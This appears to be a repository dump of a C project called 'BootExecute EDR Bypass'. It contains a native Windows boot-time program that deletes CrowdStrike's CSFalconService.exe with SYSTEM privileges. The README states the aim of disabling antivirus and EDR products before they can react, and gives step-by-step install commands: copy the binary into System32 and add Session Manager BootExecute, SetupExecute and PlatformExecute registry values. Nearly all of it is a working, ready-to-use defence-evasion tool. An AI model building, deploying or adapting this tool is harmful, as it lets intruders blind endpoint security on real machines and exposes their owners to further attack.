├── BEB
├── BEB.vcxproj
├── BEB.vcxproj.filters
├── BEB.vcxproj.user
└── main.c
├── BootExecuteBypass.sln
└── README.md
/BEB/BEB.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {6ffc136f-01c5-445f-9ac6-f64de31e8dba}
25 | BEB
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | WindowsApplicationForDrivers10.0
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 | false
122 |
123 |
124 | Native
125 | true
126 | true
127 | true
128 | true
129 | ntdll.lib
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
--------------------------------------------------------------------------------
/BEB/BEB.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/BEB/BEB.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/BEB/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #pragma comment(lib, "ntdll.lib")
6 |
7 |
8 | extern NTSTATUS NtDisplayString(PUNICODE_STRING String);
9 | extern NTSTATUS NtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes);
10 |
11 | extern void NtProcessStartup()
12 | {
13 | OBJECT_ATTRIBUTES obj_attr = { 0 };
14 | UNICODE_STRING file_path = { 0 };
15 | UNICODE_STRING status_msg = { 0 };
16 |
17 | RtlInitUnicodeString(&file_path, L"\\??\\C:\\Program Files\\CrowdStrike\\CSFalconService.exe");
18 | InitializeObjectAttributes(&obj_attr, &file_path, OBJ_CASE_INSENSITIVE, NULL, NULL);
19 |
20 | if (NT_SUCCESS(NtDeleteFile(&obj_attr))) {
21 | RtlInitUnicodeString(&status_msg, L"deleted\n");
22 | }
23 | else {
24 | RtlInitUnicodeString(&status_msg, L"failed\n");
25 | }
26 | (void)NtDisplayString(&status_msg);
27 | }
28 |
29 |
--------------------------------------------------------------------------------
/BootExecuteBypass.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.12.35527.113 d17.12
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BEB", "BEB\BEB.vcxproj", "{6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}"
7 | EndProject
8 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{B9614255-3A8C-4B95-AC66-03A61E38B77D}"
9 | ProjectSection(SolutionItems) = preProject
10 | README.md = README.md
11 | EndProjectSection
12 | EndProject
13 | Global
14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
15 | Debug|x64 = Debug|x64
16 | Debug|x86 = Debug|x86
17 | Release|x64 = Release|x64
18 | Release|x86 = Release|x86
19 | EndGlobalSection
20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
21 | {6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}.Debug|x64.ActiveCfg = Debug|x64
22 | {6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}.Debug|x64.Build.0 = Debug|x64
23 | {6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}.Debug|x86.ActiveCfg = Debug|Win32
24 | {6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}.Debug|x86.Build.0 = Debug|Win32
25 | {6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}.Release|x64.ActiveCfg = Release|x64
26 | {6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}.Release|x64.Build.0 = Release|x64
27 | {6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}.Release|x86.ActiveCfg = Release|Win32
28 | {6FFC136F-01C5-445F-9AC6-F64DE31E8DBA}.Release|x86.Build.0 = Release|Win32
29 | EndGlobalSection
30 | GlobalSection(SolutionProperties) = preSolution
31 | HideSolutionNode = FALSE
32 | EndGlobalSection
33 | EndGlobal
34 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BootExecute EDR Bypass
2 |
3 | Boot Execute allows native applications—executables with the NtProcessStartup entry point and dependencies solely on ntdll.dll—to run prior to the complete initialization of the Windows operating system. This occurs even before Windows services are launched. Historically, attackers have exploited this mechanism as a rudimentary persistence method. However, utilizing this feature requires administrative privileges, both to modify the corresponding registry key and to place the executable within the %SystemRoot%\System32 directory.
4 |
5 | Because these native applications execute before security mechanisms are fully operational, this presents an opportunity to disrupt antivirus (AV) and endpoint detection and response (EDR) systems by deleting critical application files as we run with SYSTEM privileges.
6 |
7 | The code contained within the project is an example demonstration of exploiting this "feature" to disable Endpoint Security Products before they have a chance to stop us.
8 |
9 | ## Usage
10 |
11 | 1. Compile binary
12 | 2. Place BEB.exe in C:\Windows\System32\
13 | 3. Add either of the following registry keys to launch your binary before win32k subsytem initialization
14 |
15 | ```cmd
16 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecute" /t REG_MULTI_SZ /d "autocheck autochk *\0BEB" /f
17 | ```
18 |
19 | ```cmd
20 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecuteNoPnpSync" /t REG_MULTI_SZ /d "BEB" /f
21 | ```
22 |
23 | ```cmd
24 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "SetupExecute" /t REG_MULTI_SZ /d "BEB" /f
25 | ```
26 |
27 | ```cmd
28 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "PlatformExecute" /t REG_MULTI_SZ /d "BEB" /f
29 | ```
30 |
--------------------------------------------------------------------------------